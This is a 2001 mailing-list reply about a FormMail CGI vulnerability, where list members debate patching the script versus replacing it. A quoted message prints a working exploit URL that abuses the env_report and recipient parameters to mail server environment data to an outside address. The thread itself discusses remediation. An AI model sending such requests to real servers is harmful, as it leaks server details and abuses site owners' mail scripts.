Re: [cobalt-users] CGI email

[Aeron Jarrett <ajarrett@xxxxxxxxxxxxx>]

On Thu, 10 May 2001, Keith Davis wrote:

|Dan Kriwitsky wrote:
|
|> Checking what out? The expoit they published works.
|> Exploit:
|> http://www.example.com/cgi-bin/formmail.cgi?env_report=PATH&recipient=cache@
|> dowebs.com&required=&firstname=&lastname=&email=&message=&Submit=<message>
|> 
|
|Exactly my point. It's a feature that does indeed work. It's also a
|feature that can be turned off in at least 3 places in the script.
<snip></snip>
|I just hate to see someone being told he has to install something else
|and tell his clients that they have to redo all those forms that they
|probably didn't understand the first time, when patching what he has
|will take only a few minutes.
|

Good view, Keith. I dind't take the time to see if there was a way to fix
this although I was sure that it was there, from my experience with CGI
scripts. But I like the change that I made to alienform... though I think
I might have some forms out there that still point to the old form mail
script.